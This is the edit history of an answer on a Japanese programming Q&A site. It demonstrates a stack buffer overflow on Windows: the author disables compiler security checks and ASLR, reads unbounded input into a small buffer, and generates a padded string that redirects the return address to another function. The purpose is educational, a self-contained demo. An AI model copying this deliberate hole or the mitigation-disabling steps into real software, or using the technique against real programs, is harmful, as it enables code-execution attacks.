teratail header banner
teratail header banner
質問するログイン新規登録

回答編集履歴

1

訂正

2019/10/08 19:59

投稿

asm
asm

スコア15149

answer CHANGED
@@ -8,4 +8,114 @@
8
8
  // 省略
9
9
  ```
10
10
 
11
- で関数ごとにセキュリティチェックを無効化できるようです。
11
+ で関数ごとにセキュリティチェックを無効化できるようです。
12
+
13
+ -----
14
+
15
+ **追記**
16
+ 以下で攻撃文字列の生成・読み込みに成功
17
+
18
+ `demo.exe /dump 28` => `dump.bin`に攻撃文字列を生成
19
+ `type dump.bin | demo.exe` => `dump.bin`をwindowsの標準コマンド`type`で読み込み`demo.exe`にわたす
20
+ `demo.exe /echo 28 | demo.exe`
21
+
22
+ プロジェクトのプロパティ
23
+ - C/C++>コード生成>基本ランタイムチェック: 既定
24
+ - C/C++>コード生成>セキュリティチェック: セキュリティチェックを無効にします
25
+ - リンカー>詳細設定>ランダム化されたベースアドレス: いいえ
26
+
27
+ ```c++
28
+ #pragma warning(disable: 4996)
29
+ #include <intrin.h>
30
+ #include <stdio.h>
31
+ #include <stdlib.h>
32
+ #include <string.h>
33
+
34
+ int sample(int con);
35
+ int sub(int a);
36
+
37
+
38
+ int sample(int con) {
39
+ int(*func)(int a);
40
+ func = sub;
41
+
42
+ printf("sub関数のアドレス・・・%p\n", *func);
43
+ void* a = _ReturnAddress();
44
+
45
+
46
+
47
+ printf("リターンアドレス・・・%p\n", a);
48
+ char moji[15];
49
+ int* p;
50
+ p = (int*)moji;
51
+ int ebpofs;
52
+ int ebpofs2;
53
+ int* ebp;
54
+ ebp = &con;
55
+
56
+ unsigned* retaddr = (unsigned*)_AddressOfReturnAddress();
57
+ unsigned* pp = retaddr - 1;
58
+ printf("書き換えたいアドレス: %p + %u\n", moji, (uintptr_t)retaddr - (uintptr_t)moji);
59
+ printf("保存されたebp:%p\n", *pp);
60
+
61
+ scanf("%s", moji);
62
+ puts("ローカル変数");
63
+ puts("ローカル変数 4バイト出力 16進数 0 80");
64
+
65
+ for (ebpofs = 0; ebpofs < 80; ebpofs++) {
66
+ printf("addr:%p price:%x\n", p + ebpofs, p[ebpofs]);
67
+ }
68
+ puts("--------------------------------------------");
69
+ puts("コマンド引数 4バイト入力 16進数 -5 40");
70
+ for (ebpofs2 = -5; ebpofs2 < 40; ebpofs2++) {
71
+ printf("addr:%p price:%x\n", ebp + ebpofs2, ebp[ebpofs2]);
72
+ }
73
+ //リターンアドレス破壊4
74
+ void* b = _ReturnAddress();
75
+ printf("return:%p\n", b);
76
+ printf("price:%x\n", p[13]);
77
+ //p[13] = (int)func;
78
+ //p[13] = ((p[13] >> 6) | (p[13] >> 9)) + 80485;
79
+ //printf("price:%x\n", p[13]);
80
+ void* c = _ReturnAddress();
81
+ printf("return:%p\n", c);
82
+
83
+ unsigned* retaddr2 = (unsigned*)_AddressOfReturnAddress();
84
+ unsigned* pp2 = retaddr2 - 1;
85
+ printf("ebp:%p\n", *pp2);
86
+ return 0;
87
+ }
88
+
89
+ void dump(int argc, char** argv, FILE* fp) {
90
+ int offset = 0;
91
+ if (argc > 2)
92
+ offset = atoi(argv[2]);
93
+ for (int i = 0; i < offset; i++)
94
+ fputc('x', fp);
95
+ void* addr = sub;
96
+ fwrite(&addr, sizeof(addr), 1, fp);
97
+ }
98
+
99
+ int main(int argc, char** argv) {
100
+ if (argc > 1) {
101
+ if (!strcmp(argv[1], "/dump")) {
102
+ FILE* fp = fopen("dump.bin", "wb");
103
+ dump(argc, argv, fp);
104
+ fclose(fp);
105
+ return 0;
106
+ }
107
+ else if (!strcmp(argv[1], "/echo")) {
108
+ dump(argc, argv, stdout);
109
+ return 0;
110
+ }
111
+ }
112
+ sample(8);
113
+ return 0;
114
+ }
115
+
116
+
117
+ int sub(int a) {
118
+ puts("破壊成功!");
119
+ return 0;
120
+ }
121
+ ```